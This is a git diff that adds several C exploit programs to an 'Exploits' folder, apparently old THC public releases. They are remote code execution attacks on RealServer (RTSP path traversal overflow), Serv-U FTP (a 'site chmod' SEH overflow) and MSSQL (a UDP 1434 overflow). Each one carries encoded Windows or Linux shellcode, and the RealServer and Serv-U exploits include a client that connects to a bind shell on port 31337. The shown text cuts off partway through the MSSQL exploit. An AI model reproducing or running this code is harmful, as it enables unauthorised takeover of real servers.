+    printf ("bye bye...\n");\r
+    return;\r
+   }\r
+  }\r
+  else\r
+  {\r
+   l = read (0, buf, sizeof (buf));\r
+   if (l <= 0)\r
+   {\r
+    printf("bye bye...\n");\r
+    return;\r
+   }\r
+   l = send(sock, buf, l, 0);\r
+   if (l <= 0)\r
+   {\r
+    printf("bye bye...\n");\r
+    return;\r
+   }\r
+  }\r
+ }\r
+}\r
diff --git a/Exploits/THCrealbad.c b/Exploits/THCrealbad.c
new file mode 100644 (file)
index 0000000..5e925f8
--- /dev/null
@@ -0,0 +1,311 @@
+/*****************************************************************************/\r
+/* THCREALbad 0.5 - Wind0wZ & Linux remote root exploit                      */\r
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */\r
+/* THC PUBLIC SOURCE MATERIALS                                               */\r
+/*                                                                           */\r
+/* This exploit was an 0day from some time, but as CANVAS leaked and kiddies */\r
+/* exploited this bug like hell, realnetworks got info on that bug and posted*/\r
+/* a workaround on their site. So THC decided to release this one to the     */\r
+/* public now. Fuck u kiddies ! BURST IN HELL !                              */\r
+/*                                                                           *//*                                                                           */\r
+/* Also try the testing mode before exploitation of this bug, what OS is     */\r
+/* running on the remote site, to know what type of shellcode to use.        */\r
+/*                                                                           */\r
+/* Greetings go to Dave Aitel of Immunitysec who found that bug.             */\r
+/*                                                                           */\r
+/* compile with MS Visual C++ : cl THCREALbad.c                              */\r
+/*                                                                           */\r
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
+/* scut, stealth, zip, zilvio, LSD and Dave Aitel                            */\r
+/*****************************************************************************/\r
+\r
+#include <stdio.h>\r
+#include <stdlib.h>\r
+#include <string.h>\r
+#include <winsock2.h>\r
+\r
+#define WINDOWS 0\r
+#define LINUX 1\r
+#define OSTESTMODE 2\r
+\r
+#pragma comment(lib, "ws2_32.lib")\r
+\r
+#define CMD "unset HISTFILE;uname -a;id;\n"\r
+\r
+char ostestmode[] = "OPTIONS / RTSP/1.0\r\n\r\n";\r
\r
+char attackbuffer1[] =\r
+"DESCRIBE /"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../"\r
+"../../../../../../../../../../../../../../../../../../../../";\r
+\r
+char attackbuffer2[] =\r
+".smi RTSP/1.0\r\n\r\n";\r
+\r
+char decoder[] =\r
+"\xcc\xcc\x90\x8b\xfd\x83\xc7\x37\x33\xc9\xb2\x90\x66\x81\xc1"\r
+"\x02\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7";\r
+\r
+char linuxshell[] =\r
+"\x32\xc3\x32\xd8\x32\xca\x52\xb2\x05\x52\xb2\x02\x52\xb2\x01"\r
+"\x52\x8a\xe2\xb0\x02\xb3\x65\xce\x83\x8a\xc2\x32\xc3\x32\xd8"\r
+"\x53\x53\x53\x65\x6b\x79\x6a\xb0\x01\x65\x50\x8a\xe1\xb0\x13"\r
+"\x50\xb0\x01\x51\x52\x8a\xc9\x8a\xe2\xb3\x65\xce\x83\x32\xd8"\r
+"\x3a\xc0\x77\x06\x32\xc3\x43\xce\x83\x32\xc3\x53\x51\x8a\xe2"\r
+"\xb0\x07\xb3\x65\xce\x83\x8a\xd4\x32\xc3\x32\xd8\x32\xca\xb0"\r
+"\x12\xb2\x02\xb3\x33\xce\x83\x32\xc3\x32\xd8\x53\x53\x54\x8a"\r
+"\xe2\xb0\x06\xb3\x65\xce\x83\x8a\xc5\x32\xc3\x32\xd8\xb3\x01"\r
+"\xce\x83\x3a\xc0\x76\x43\x32\xc3\x8a\xf8\xb3\x05\xce\x83\x32"\r
+"\xc3\x32\xca\x8a\xf0\xb3\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3"\r
+"\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3\x3d\xfd\xc3\xce\x83\x32"\r
+"\xc3\x53\x6b\x2c\x2c\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x88"\r
+"\x57\x27\x0b\x53\x50\x8a\xe2\xb3\x08\xce\x83\x32\xc3\x43\xce"\r
+"\x83\x32\xc3\x8a\xf0\xb3\x05\xce\x83\xe8\x9a";\r
+\r
+char w32shell[] =\r
+"\x7b\xb3\xea\xf9\x92\x95\xfc\xc9\x68\x8d\x0c\x4e\x1c\x41\xdc"\r
+"\xe0\x44\x93\x60\xb7\xb0\xb0\xa0\x98\xc7\xc3\xa2\xcf\xa3\xa2"\r
+"\xbe\xd4\xdc\xdc\x91\x7b\x95\x78\x69\x6f\x6f\x6f\xcd\x13\x7d"\r
+"\xba\xfa\xa0\xc9\xf4\x1b\x91\x1b\xd0\x9c\x1b\xe0\x8c\x3d\x1b"\r
+"\xe8\x98\x1d\xcf\xac\x1b\x8b\x91\x6b\x1b\xcb\xe8\x91\x6b\x1b"\r
+"\xdb\x8c\x91\x69\x1b\xc3\xb4\x91\x6a\xc3\xc1\xc2\x1b\xcb\xb0"\r
+"\x91\x6b\xa1\x59\xd1\xa1\x50\x09\x1b\xa4\x1b\x91\x6e\x3c\xa1"\r
+"\x52\x41\x72\x14\x50\xe5\x67\x9f\x26\xd5\x95\x1d\xd4\xd5\x94"\r
+"\xf6\xa9\x80\xe5\x71\xf6\xa1\x80\xca\xc8\xce\xc6\xc0\xc2\xbb"\r
+"\xde\x80\xd1\x9f\x27\x9c\xda\x1b\x94\x18\x91\x68\x9f\x26\xdd"\r
+"\x95\x19\xd4\x1d\x48\x6e\xdd\x95\xe5\x2e\x6e\xdd\x94\xe4\xb1"\r
+"\x6e\xdd\xb2\x1d\xcd\x88\xc3\x6f\x40\x19\x57\xfa\x94\xc8\x18"\r
+"\xd5\x95\x10\xd5\xe7\x9a\x1d\xcd\xe4\x10\xfb\xb6\x84\x79\xe8"\r
+"\x6f\x6f\x6f\x19\x5e\xa1\x4b\xc3\xc3\xc3\xc3\xc6\xd6\xc6\x6f"\r
+"\x40\x07\xc5\xc8\xf6\x19\xa0\xfa\x80\xc5\xc7\x6f\xc5\x44\xde"\r
+"\xc6\xc7\x6f\xc5\x5c\xc3\xc5\xc7\x6f\xc5\x40\x07\x1d\xd5\x18"\r
+"\xc0\x6f\xc5\x74\xc5\xc5\x6f\xc5\x78\x1d\xd4\x95\x9c\x04\xc3"\r
+"\xf8\xbe\xf5\xe8\xf5\xf8\xcc\xf3\xfd\xf4\x04\xa1\x42\x1d\xd5"\r
+"\x5c\x04\xc7\xc7\xc7\xc3\xc3\x6e\x56\x91\x62\xc2\x04\x1d\xd5"\r
+"\xe8\xc0\x1d\xd5\x18\xc0\x21\x98\xc3\xc3\xfa\x80\x6e\x5e\xc2"\r
+"\xc3\xc3\xc3\xc5\x6f\xc5\x7c\xfa\x6f\x6f\xc5\x70";\r
+\r
+void usage();\r
+void shell(int sock);\r
+\r
+int main(int argc, char *argv[])\r
+{  \r
+  unsigned short realport=554;\r
+  unsigned int sock,addr,os,rc;\r
+  unsigned char *finalbuffer,*osbuf;\r
+  struct sockaddr_in mytcp;\r
+  struct hostent * hp;\r
+  WSADATA wsaData;\r
+\r
+  printf("\nTHCREALbad v0.5 - Wind0wZ & Linux remote root sploit for Realservers 8+9\n");\r
+  printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");\r
+\r
+  if(argc<3 || argc>3)\r
+   usage();\r
+\r
+  finalbuffer = malloc(2000);\r
+  memset(finalbuffer,0,2000);\r
+  \r
+  strcpy(finalbuffer,attackbuffer1);\r
+  os = (unsigned short)atoi(argv[2]);\r
+  switch(os)\r
+  {\r
+   case WINDOWS:\r
+    decoder[11]=0x90;\r
+    break;\r
+   case LINUX:\r
+    decoder[11]=0x03;\r
+    break;\r
+   case OSTESTMODE:\r
+    break;\r
+   default:\r
+    printf("\nillegal OS value!\n");\r
+    exit(-1);\r
+  }\r
+\r
+  strcat(finalbuffer,decoder);\r
+  \r
+  if(os==WINDOWS)\r
+    strcat(finalbuffer,w32shell);\r
+  else\r
+    strcat(finalbuffer,linuxshell);\r
+\r
+  strcat(finalbuffer,attackbuffer2);\r
+\r
+  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
+  {\r
+   printf("WSAStartup failed !\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  hp = gethostbyname(argv[1]);\r
+\r
+  if (!hp){\r
+   addr = inet_addr(argv[1]);\r
+  }\r
+  if ((!hp)  && (addr == INADDR_NONE) )\r
+  {\r
+   printf("Unable to resolve %s\n",argv[1]);\r
+   exit(-1);\r
+  }\r
+\r
+  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
+  if (!sock)\r
+  { \r
+   printf("socket() error...\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  if (hp != NULL)\r
+   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);\r
+  else\r
+   mytcp.sin_addr.s_addr = addr;\r
+\r
+  if (hp)\r
+   mytcp.sin_family = hp->h_addrtype;\r
+  else\r
+   mytcp.sin_family = AF_INET;\r
+\r
+  mytcp.sin_port=htons(realport);\r
+\r
+  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));\r
+  if(rc==0)\r
+  {\r
+    if(os==OSTESTMODE)\r
+    {\r
+     send(sock,ostestmode,sizeof(ostestmode),0);\r
+     Sleep(1000);\r
+     osbuf = malloc(2000);\r
+     memset(osbuf,0,2000);\r
+     recv(sock,osbuf,2000,0);\r
+     if(*osbuf != '\0')\r
+       for(; *osbuf != '\0';)\r
+       {\r
+         if((isascii(*osbuf) != 0) && (isprint(*osbuf) != 0))\r
+         {\r
+         if(*osbuf == '\x53' && *(osbuf + 1) == '\x65' && *(osbuf + 2) == '\x72' && *(osbuf + 3) == '\x76' && *(osbuf + 4) == '\x65' && *(osbuf + 5) == '\x72')\r
+          {\r
+            osbuf += 7;\r
+              printf("\nDetected OS: ");\r
+              while(*osbuf != '\n')\r
+                printf("%c", *osbuf++);\r
+              printf("\n");\r
+              break;\r
+          }\r
+         }\r
+         osbuf++;\r
+       } \r
+     free(osbuf);\r
+    }\r
+    else\r
+    {\r
+     send(sock,finalbuffer,2000,0);\r
+     printf("\nexploit send .... sleeping a while ....\n\n");\r
+     Sleep(1000);\r
+    }\r
+  }\r
+  else\r
+   printf("can't connect to realserver port!\n");\r
+  \r
+  shutdown(sock,1);\r
+  closesocket(sock);\r
+  free(finalbuffer);\r
+  if(os==OSTESTMODE)\r
+   exit(0);\r
+\r
+  sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
+  mytcp.sin_port = htons(31337);\r
+  rc = connect(sock, (struct sockaddr *)&mytcp, sizeof(mytcp));\r
+  if(rc!=0)\r
+  {\r
+   printf("can't connect to port 31337 ;( maybe firewalled ...\n");\r
+   exit(-1);\r
+  }\r
+  if(os==LINUX)\r
+   send(sock,CMD,sizeof(CMD),0);\r
+  shell(sock);\r
+  exit(0);\r
+}\r
\r
+void usage()\r
+{\r
+ unsigned int a;\r
+ printf("\nUsage:  <Host> <OS>\n");\r
+ printf("0 = Wind0wZ\n");\r
+ printf("1 = Linux\n");\r
+ printf("2 = OS Test Mode\n");\r
+ exit(0);\r
+}\r
+\r
+void shell(int sock)\r
+{\r
+ int l;\r
+ char buf[1024];\r
+ struct timeval time;\r
+ unsigned long ul[2];\r
+\r
+ time.tv_sec = 1;\r
+ time.tv_usec = 0;\r
+\r
+ while (1)\r
+ {\r
+  ul[0] = 1;\r
+  ul[1] = sock;\r
+\r
+  l = select (0, (fd_set *)&ul, NULL, NULL, &time);\r
+  if(l == 1)\r
+  {    \r
+   l = recv (sock, buf, sizeof (buf), 0);\r
+   if (l <= 0)\r
+   {\r
+    printf ("bye bye...\n");\r
+    return;\r
+   }\r
+  l = write (1, buf, l);\r
+   if (l <= 0)\r
+   {\r
+    printf ("bye bye...\n");\r
+    return;\r
+   }\r
+  }\r
+  else\r
+  {\r
+   l = read (0, buf, sizeof (buf));\r
+   if (l <= 0)\r
+   {\r
+    printf("bye bye...\n");\r
+    return;\r
+   }\r
+   l = send(sock, buf, l, 0);\r
+   if (l <= 0)\r
+   {\r
+    printf("bye bye...\n");\r
+    return;\r
+   }\r
+  }\r
+ }\r
+}\r
diff --git a/Exploits/THCservu.c b/Exploits/THCservu.c
new file mode 100644 (file)
index 0000000..c72b4f9
--- /dev/null
@@ -0,0 +1,320 @@
+/*****************************************************************************/
+/* THCservu 0.1 - Wind0wZ remote root exploit                                */
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
+/* THC PUBLIC SOURCE MATERIALS                                               */
+/*                                                                           */
+/* Credits go to kkqq@0x557.org who found that bug.                          */
+/* his Advisory: http://www.0x557.org/release/servu.txt                      */
+/*                                                                           */
+/* compile with MS Visual C++ : cl THCservu.c                                */
+/*                                                                           */
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
+/* scut, stealth, FtR and Random                                             */
+/*****************************************************************************/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <winsock2.h>
+
+#pragma comment(lib, "ws2_32.lib")
+
+char *WIN2KEN   = "\xc4\x2a\x02\x75";
+char *WIN2KPG   = "\xc4\x2a\xf9\x74";
+char *WINXPSP1G = "\x61\x24\xa0\x71";
+
+#define jumper    "\xeb\x06\x4a\x43"
+
+char shellcode[] =
+"\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"
+"\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"
+"\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"
+"\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"
+"\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"
+"\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"
+"\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"
+"\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"
+"\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"
+"\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"
+"\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"
+"\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"
+"\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"
+"\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"
+"\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"
+"\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"
+"\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"
+"\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"
+"\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"
+"\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"
+"\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"
+"\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"
+"\xda\x63\xe5\x70\x70\xda\x6f";
+
+
+void usage();
+void shell(int sock);
+
+int main(int argc, char *argv[])
+{  
+  unsigned short servuport;
+  unsigned int i,sock,sock2,addr,os,rc,rc2,dirlen,craplen=400;
+  unsigned char *user,*pass,*chmod,*recvbuf,*finalbuffer,*crapbuf,*directory;
+  unsigned char *temp;
+  struct sockaddr_in mytcp;
+  struct hostent * hp;
+  WSADATA wsaData;
+
+  printf("\nTHCservu v0.1 - Servu 4.x sample exploit for the paper\n");
+  printf("Practical SEH exploitation - by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
+
+  if(argc<7 || argc>7)
+   usage();
+
+  user = malloc(256);
+  memset(user,0,256);
+
+  pass = malloc(256);
+  memset(pass,0,256);
+  
+  chmod = malloc(128);
+  memset(chmod,0,128);
+
+  directory = malloc(256);
+  memset(directory,0,256);
+
+  crapbuf = malloc(512);
+  memset(crapbuf,0,512);
+
+  recvbuf = malloc(256);
+  memset(recvbuf,0,256);
+
+  finalbuffer = malloc(1000);
+  memset(finalbuffer,0,1000);
+
+  printf("\n[*] building buffer\n");
+
+  sprintf(user,"user %s\r\n",argv[3]);
+  sprintf(pass,"pass %s\r\n",argv[4]);
+  strcpy(chmod,"site chmod 666 ");
+
+  temp=malloc(256);
+  memset(temp,0,256);
+  
+  dirlen=strlen(argv[5]);
+  temp=argv[5];
+  if((strncmp("\\",temp,1))!=0)
+  {
+   printf("\nGimme valid path name, ie. \\upload\n");
+   exit(-1);
+  }
+  
+  if(dirlen!=1)
+   dirlen-=3;
+  else
+   dirlen-=4;
+    
+  craplen=craplen-dirlen;
+  
+  for(i=0;i<craplen;i++)
+   crapbuf[i]='X';
+
+  strcat(finalbuffer,chmod);
+  strcat(finalbuffer,crapbuf);
+  strcat(finalbuffer,jumper);
+
+  os = (unsigned short)atoi(argv[6]);  
+  switch(os)
+  {
+   case 0:
+    strcat(finalbuffer,WIN2KPG);
+    break;
+   case 1:
+    strcat(finalbuffer,WIN2KPG);
+    break;
+   case 2:
+    strcat(finalbuffer,WINXPSP1G);
+    break;
+   default:
+    printf("\nYou entered an illegal target !\n\n");
+    usage();
+    exit(-1);
+  }
+
+  strcat(finalbuffer,shellcode);
+  strcat(finalbuffer,"\r\n");
+      
+  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
+  {
+   printf("WSAStartup failed !\n");
+   exit(-1);
+  }
+  
+  hp = gethostbyname(argv[1]);
+
+  if (!hp){
+   addr = inet_addr(argv[1]);
+  }
+  if ((!hp)  && (addr == INADDR_NONE) )
+  {
+   printf("Unable to resolve %s\n",argv[1]);
+   exit(-1);
+  }
+
+  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+  if (!sock)
+  { 
+   printf("socket() error...\n");
+   exit(-1);
+  }
+  
+  if (hp != NULL)
+   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
+  else
+   mytcp.sin_addr.s_addr = addr;
+
+  if (hp)
+   mytcp.sin_family = hp->h_addrtype;
+  else
+   mytcp.sin_family = AF_INET;
+
+  servuport=atoi(argv[2]);
+  mytcp.sin_port=htons(servuport);
+
+  printf("[*] connecting the target\n");
+
+  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
+  if(rc==0)
+  {
+     rc2=recv(sock,recvbuf,256,0);
+     printf("[*] sending username\n");
+     send(sock,user,256,0);
+     rc2=recv(sock,recvbuf,256,0);
+     printf("[*] sending password\n");
+     send(sock,pass,256,0);
+     rc2=recv(sock,recvbuf,256,0);
+     if(rc2<0)
+     {
+      printf("\nError while recv() data!\n");
+      exit(-1);
+     }
+     else if (memcmp(recvbuf,"530 ",4) == 0)
+     {
+      printf("\nWrong user/pass !\n");
+      exit(-1);
+     }
+     else
+     {
+      _snprintf(directory,127,"cwd %s\r\n",argv[5]);
+      send(sock,directory,256,0);
+      rc2=recv(sock,recvbuf,256,0);
+      if (memcmp(strupr(recvbuf),"550 ",4) == 0)
+      {
+       printf("\nError changing to path %s\n",argv[5]);
+       exit(-1);
+      }
+      
+      send(sock,finalbuffer,2000,0);
+      printf("[*] Exploit send successfully ! Sleeping a while ....\n");
+      Sleep(1000);
+     }
+  }
+  else
+   printf("\nCan't connect to ftp port!\n");
+   
+  if(rc==0)
+  {
+   printf("[*] Trying to get a shell\n\n");
+   sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+   mytcp.sin_port = htons(31337);
+   rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
+   if(rc!=0)
+   {
+    rc2=recv(sock,recvbuf,256,0);
+    if (memcmp (recvbuf, "550 ", 4) == 0)
+    {
+     printf("\nYou don't have permissions to upload!\n");
+     exit(-1);
+    }
+    else       
+    {          
+     printf("can't connect to port 31337 ;( maybe firewalled ...\n");
+     exit(-1);
+    }
+   }
+   shell(sock2);
+  }
+
+  shutdown(sock,1);
+  closesocket(sock);
+
+  free(user);
+  free(pass);
+  free(chmod);
+  free(directory);
+  free(crapbuf);
+  free(finalbuffer);  
+  free(recvbuf);
+
+  exit(0);
+}
+void usage()
+{
+ unsigned int a;
+ printf("\nUsage:  <Host> <Port> <Username> <Password> <Directory> <Target>\n");
+ printf("Sample: THCservu 194.44.55.56 21 lamer test123 \\upload 0\n");
+ printf("Targets:\n");
+ printf("0 - Windows 2000 Server english all service packs\n");
+ printf("1 - Windows 2000 Professional german\n");
+ printf("2 - Windows XP SP1 german\n");
+ exit(0);
+}
+
+void shell(int sock)
+{
+ int l;
+ char buf[1024];
+ struct timeval time;
+ unsigned long ul[2];
+
+ time.tv_sec = 1;
+ time.tv_usec = 0;
+
+ while (1)
+ {
+  ul[0] = 1;
+  ul[1] = sock;
+
+  l = select (0, (fd_set *)&ul, NULL, NULL, &time);
+  if(l == 1)
+  {    
+   l = recv (sock, buf, sizeof (buf), 0);
+   if (l <= 0)
+   {
+    printf ("bye bye...\n");
+    return;
+   }
+  l = write (1, buf, l);
+   if (l <= 0)
+   {
+    printf ("bye bye...\n");
+    return;
+   }
+  }
+  else
+  {
+   l = read (0, buf, sizeof (buf));
+   if (l <= 0)
+   {
+    printf("bye bye...\n");
+    return;
+   }
+   l = send(sock, buf, l, 0);
+   if (l <= 0)
+   {
+    printf("bye bye...\n");
+    return;
+   }
+  }
+ }
+}
diff --git a/Exploits/THCsql.c b/Exploits/THCsql.c
new file mode 100644 (file)
index 0000000..828add1
--- /dev/null
@@ -0,0 +1,140 @@
+/*****************************************************************************/\r
+/* THCsql 0.1 - MSSQL Server exploit for Server < SP3                        */\r
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */\r
+/* THC PUBLIC SOURCE MATERIALS                                               */\r
+/*                                                                           */\r
+/* The exploit can be freely distributed !                                   */\r
+/*                                                                           */\r
+/* This is just another exploit for the well known mssql server bug which    */\r
+/* was found by David Litchfield last summer. Details in this advisory:      */\r
+/*           http://www.nextgenss.com/advisories/mssql-udp.txt               */\r
+/*                                                                           */\r
+/* This exploit was tested on an english Windows 2k Server SP2 and MSSQL     */\r
+/* Server with SP0 and SP2 and has worked properly. The used shellcode is    */\r
+/* completely offsetless, which makes this exploit quite stable              */\r
+/*                                                                           */\r
+/* After successful exploitation of this bug, a commandshell should spawn on */\r
+/* TCP port 31337 ! Use netcat to connect to this port !                     */\r
+/*                                                                           */\r
+/* If there's no connectable port 31337, maybe it's blocked by a firewall !  */\r
+/*                                                                           */\r
+/* compile with MS Visual C++ : cl THCsql.c /link ws2_32.lib                 */\r
+/*                                                                           */\r
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
+/* scut, stealth, zip, zilvio and the rest of the combo ......               */\r
+/*****************************************************************************/\r
+\r
+#include <stdio.h>\r
+#include <stdlib.h>\r
+#include <string.h>\r
+#include <winsock2.h>\r
+\r
+char badbuffer[] =\r
+"\x04"\r
+"THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"\r
+"THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"\r
+"\xdc\xc9\xb0\x42"\r
+"\xeb\x0e"\r
+"JC"\r
+"THC!"\r
+"\x01\x70\xae\x42"\r
+"\x01\x70\xae\x42"\r
+"\x8b\xfc\x83\xc7\x2c\x66\x81\xec\x04\x02\x33\xc9\xb2\x35\x66"\r
+"\x81\xc1\x38\x01\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16"\r
+"\x4f\x5c\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1"\r
+"\x36\xc5\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71"\r
+"\x79\x79\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f"\r
+"\x05\x6c\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d"\r
+"\xb8\x6a\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29"\r
+"\x34\xcc\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce"\r
+"\x04\xfc\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4"\r
+"\xd7\xb1\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c"\r
+"\x25\x40\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25"\r
+"\x74\x3a\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc"\r
+"\x71\xb8\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78"\r
+"\x17\xb8\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30"\r
+"\xb5\x70\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca"\r
+"\xca\xbc\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2"\r
+"\x60\x6d\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62"\r
+"\xca\x60\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca"\r
+"\x60\xd1\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b"\r
+"\x50\x4d\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1"\r
+"\x62\x62\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65"\r
+"\xb8\x70\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66"\r
+"\x66\x60\xca\x60\xd9\x5f\xca\xca\x60\xd5";\r
+\r
+void usage();\r
+\r
+int main(int argc, char *argv[])\r
+{  \r
+  unsigned short sqlport=1434;\r
+  unsigned int sock,addr,rc;\r
+  struct sockaddr_in sqludp;\r
+  struct hostent * hp;\r
+  WSADATA wsaData;\r
+\r
+  printf("\nTHCsql v0.1 - Wind0wZ remote root sploit for MSSQL-Servers < SP3\n");\r
+  printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");\r
+  printf("bug was found by David Litchfield\n");\r
+  \r
+  if(argc<2)\r
+   usage();\r
+   \r
+    if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
+  {\r
+   printf("WSAStartup failed !\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  hp = gethostbyname(argv[1]);\r
+\r
+  if (!hp){\r
+   addr = inet_addr(argv[1]);\r
+  }\r
+  if ((!hp)  && (addr == INADDR_NONE) )\r
+  {\r
+   printf("Unable to resolve %s\n",argv[1]);\r
+   exit(-1);\r
+  }\r
+\r
+  sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);\r
+  if (!sock)\r
+  { \r
+   printf("socket() error...\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  if (hp != NULL)\r
+   memcpy(&(sqludp.sin_addr),hp->h_addr,hp->h_length);\r
+  else\r
+   sqludp.sin_addr.s_addr = addr;\r
+\r
+  if (hp)\r
+   sqludp.sin_family = hp->h_addrtype;\r
+  else\r
+   sqludp.sin_family = AF_INET;\r
+\r
+  sqludp.sin_port=htons(sqlport);\r
\r
+  rc=connect(sock, (struct sockaddr *) &sqludp, sizeof (struct sockaddr_in));\r
+  if(rc==0)\r
+  {\r
+    send(sock,badbuffer,sizeof(badbuffer)-1,0);\r
+    printf("\nexploit send .... sleeping a while ....\n");\r
+    Sleep(1000);\r
